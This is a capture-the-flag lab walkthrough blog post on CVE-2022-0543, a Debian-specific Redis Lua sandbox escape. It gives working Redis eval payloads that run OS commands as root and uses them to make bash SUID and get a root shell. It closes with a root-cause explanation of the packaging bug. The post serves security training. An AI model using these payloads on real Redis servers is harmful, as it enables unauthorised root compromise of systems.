blog
Lab Walkthrough - [CVE-20 ...
01 September 22

Lab Walkthrough - [CVE-2022–0543]: Lua Sandbox Escape in Redis

Posted byINE
facebooktwitterlinkedin
news-featured

In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

preview_image.png

Let’s explore an interesting Lua sandbox bypass in Debian-specific Redis installations! In this article, we will learn to exploit a vulnerable installation of Debian-specific Redis server to break out of the Lua sandbox and execute commands on the underlying server.

What is Sandbox Escape?

Before moving on to sandbox escape, it's important to know what a sandbox is.

A sandbox is a contained environment enabling isolated execution of untrusted code without affecting the underlying system.

A sandbox escape would thus be an exploit that is used to break out of the sandbox environment and access the underlying host machine. Since this exploit would break the isolation, sandbox escapes are quite critical security issues!

Introduction: CVE-2022–0543

In February 2022, a critical vulnerability in a popular persistent key-value store, Redis, was reported. It was discovered that Redis is prone to a (Debian-specific) Lua sandbox escape due to a packaging issue, which could result in remote code execution.

An important point to note is that this issue is only applicable to Debian and Debian-derived Linux distributions. Upstream Redis is not affected. That makes it a Debian vulnerability, not a Redis one. The root cause of the issue is dynamic linking, which is detailed in a post written by the researcher who discovered this vulnerability.

This vulnerability received the CVE ID of CVE-2022–0543. Debian also released the DSA-5081 security advisory on 18 February 2022, and Ubuntu released USN-5316–1 on 7 March 2022.

Reference: https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce

Challenge Details

Lab Environment

In this lab environment, the user is going to get access to an Ubuntu CLI instance. The provided Ubuntu instance has a vulnerable version of Redis.

Mission

Exploit the local Lua sandbox escape vulnerability in the Redis server to gain root access and retrieve the flag!

Technical Difficulty: Proficient

Challenge Link: https://my.ine.com/CyberSecurity/courses/ebd09929/cyber-security-vulnerabilities-training-library/lab/6676d156-0ec4-45ef-b6fa-d94b7faaa16b

Untitled.png

Tools

The best tools for this lab are:

  • redis-cli

Solution

Step 1: Open the lab link to access the Ubuntu CLI instance.

redis_sandbox_escape_1.png

Step 2: Identify processes running on the provided machine.

Command:

ps aux
redis_sandbox_escape_2.png

Notice that Redis is running as root. It is listening on the default port, which is 6379.

Step 3: Connect to the Redis server.

Command:

redis-cli
redis_sandbox_escape_3.png

We are successfully connected to the Redis server.

This indicates there is no authentication on the Redis server.

The default installations of the Redis server come with a default user with no password. However, only the clients on the same machine can connect to it unless explicitly configured to accept connections from other hosts or over the public network.

Since we have a shell of a local user on the same machine where the Redis server is running, we can connect to it without any issues.

Step 4: Check the OS and kernel information.

Commands:

uname -a
cat /etc/issue
redis_sandbox_escape_4.png

We have access to Ubuntu 20.04 instance.

Step 5: Search for the Redis Lua Sandbox exploit and the CVE identifier mentioned in the challenge description.

Search Query:

Redis Lua Sandbox Escape CVE-2022-0543

redis_sandbox_escape_5.png

Open the National Vulnerability Database link:

redis_sandbox_escape_5_1.png

The description on this page says:

It was discovered, that redis, a persistent key-value database, due to a packaging issue, is prone to a (Debian-specific) Lua sandbox escape, which could result in remote code execution.

On the NVD page for this vulnerability, you will find the following link: https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce

It is the link to the post by the researcher who discovered this vulnerability:

redis_sandbox_escape_5_2.png

Scroll down to the PoC section:

redis_sandbox_escape_5_3.png

It contains the payload to confirm this vulnerability.

Notice the PoC references the shared Lua library. Check the available shared Lua libraries:

Command:

ls -al /usr/lib/x86_64-linux-gnu/liblua*
redis_sandbox_escape_5_4.png

The highlighted shared library entries are what we are interested in. If you notice closely, they both are the same files. One is a symlink to the other file.

Step 6: Exploit the sandbox escape vulnerability to run OS commands.

Before exploiting the issue, let’s confirm if the provided instance is vulnerable to this issue.

Check the files in the current directory, then connect to the Redis CLI, and send the following payload:

Commands:

ls
redis-cli

Payload:

eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /home/miley/redis_poc"); return 0' 0

Now exit the redis-cli and check the file listing again:

Commands:

exit
ls -al
redis_sandbox_escape_6.png

Notice the file named redis_poc is created in the home directory of the user miley. It is root-owned a file since Redis is running as root!

This confirms that the provided Ubuntu instance has this vulnerability. Let’s exploit it to run some OS commands.

Connect to the Redis CLI and send the following payload:

Command:

redis-cli

Payload:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
redis_sandbox_escape_6_1.png

Notice the output of the id command is returned.

We successfully bypassed the Lua sandbox and executed the commands as the root user (uid 0), since Redis is running as root.

Step 7: Retrieve the flag leveraging the Lua sandbox escape.

Send the following payload to get the file listing:

Payload:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls -al", "r"); local res = f:read("*a"); f:close(); return res' 0
redis_sandbox_escape_7.png

The file listing contains an entry for the FLAG file. Use the following payload to read the FLAG file:

Payload:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat FLAG", "r"); local res = f:read("*a"); f:close(); return res' 0
redis_sandbox_escape_7_1.png

Note: The flag would be different with every lab start and therefore, the flag you see might be different from the one shown in the above screenshot!

Step 8: Leverage the Lua sandbox escape exploit to make bash a SUID root binary.

Run the following payloads to make bash a SUID binary:

Payloads:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls -al /bin/bash", "r"); local res = f:read("*a"); f:close(); return res' 0
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("chmod +s /bin/bash", "r"); local res = f:read("*a"); f:close(); return res' 0
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls -al /bin/bash", "r"); local res = f:read("*a"); f:close(); return res' 0
redis_sandbox_escape_8.png

Notice bash is now a SUID root binary.

Step 9: Gain root shell on the machine.

Exit the Redis CLI and login as the root user:

Commands:

exit
/bin/bash -p
id
redis_sandbox_escape_9.png

Notice we have a root shell.

Step 10: Retrieve the flag.

Now that we have a root shell, we can easily retrieve the flag:

Commands:

whoami
ls -al /root/
cat /root/FLAG
redis_sandbox_escape_10.png

FLAG: 589feef8103e4c97bb75f98d045ba355

Note: The flag would be different with every lab start and therefore, the flag you see might be different from the one shown in the above screenshot!

With that, we conclude this lab on Lua sandbox escape in (Debian-based) Redis.

Going an extra mile

If you are curious about the root cause and why only Debian-based distros are affected, you should follow along.

Note: The provided information is taken from the following article: https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce

Upstream Redis statically links Lua so, since the luaopen_package and luaopen_os functions are not used by Redis, those functions aren’t even present in the binary. Redis upstream also includes and initializes the lua-bitop and the lua-cjson libraries, which are not part of standard Lua. The initialization of upstream Redis looks like this:

void luaLoadLibraries(lua_State *lua) {
   luaLoadLib(lua, "", luaopen_base);
   luaLoadLib(lua, LUA_TABLIBNAME, luaopen_table);
   luaLoadLib(lua, LUA_STRLIBNAME, luaopen_string);
   luaLoadLib(lua, LUA_MATHLIBNAME, luaopen_math);
   luaLoadLib(lua, LUA_DBLIBNAME, luaopen_debug);
   luaLoadLib(lua, "cjson", luaopen_cjson);
   luaLoadLib(lua, "struct", luaopen_struct);
   luaLoadLib(lua, "cmsgpack", luaopen_cmsgpack);
   luaLoadLib(lua, "bit", luaopen_bit);
#if 0 /* Stuff that we don't load currently, for sandboxing concerns. */
   luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);
   luaLoadLib(lua, LUA_OSLIBNAME, luaopen_os);
#endif

On Debian, Lua is loaded dynamically by Redis and, moreover, lua-bitop and lua-cjson are their own packages, which are loaded when the Lua interpreter itself is initialized. When the interpreter initialization was performed, the module and require Lua variables, which are present in the global environment on upstream Lua, but not on Redis’ Lua, and would also enable this same attack, were cleared out, but the package variable was not. This was done via the debian/rules file, which generates a debian/lua_libs_debian.c files, which is included right after the #endif directive shown above. Here are the relevant excerpts:

# Try and use these Lua modules shipped in Debian...
LUA_LIBS_DEBIAN = cjson bitop
# ... which are not always called their "C" names
LUA_LIBS_DEBIAN_NAMES = cjson bit
# ...
debian/lua_libs_debian.c:
       echo "// Automatically generated; do not edit." >$@
       echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
       set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \
               echo "if (luaL_dostring(lua, \"$$X = require('$$X');\"))" >>$@; \
               echo "    serverLog(LL_NOTICE, \"Error loading $$X library\");" >>$@; \
       done
       echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@

Note that luaopen_package ends up being called, contrary to what happens in upstream. That has the side effect of binding three variables in the global environment: modulerequire, and package. The first two are cleared out in the vulnerable version, but the latter wasn’t. So, the fix was to add package=nil to the end of the Lua initialization.

And that sums up the whole issue. Due to an uncleared reference to the package variable in the global environment, an attacker can import restricted Lua functions in Redis and escape the enforced sandbox.

Conclusion

In this article, we saw how an adversary can leverage an unprotected Redis instance in a Debian-specific environment to break out of the Lua sandbox, leveraging an uncleared variable reference! If Redis is running as root, like it was in our lab, the attacker would gain elevated privileges on the machine to perform further actions like adding a persistence mechanism on the machine.

References

Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Need training for your entire team?

Schedule a Demo

Hey! Don’t miss anything - subscribe to our newsletter!

© 2022 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo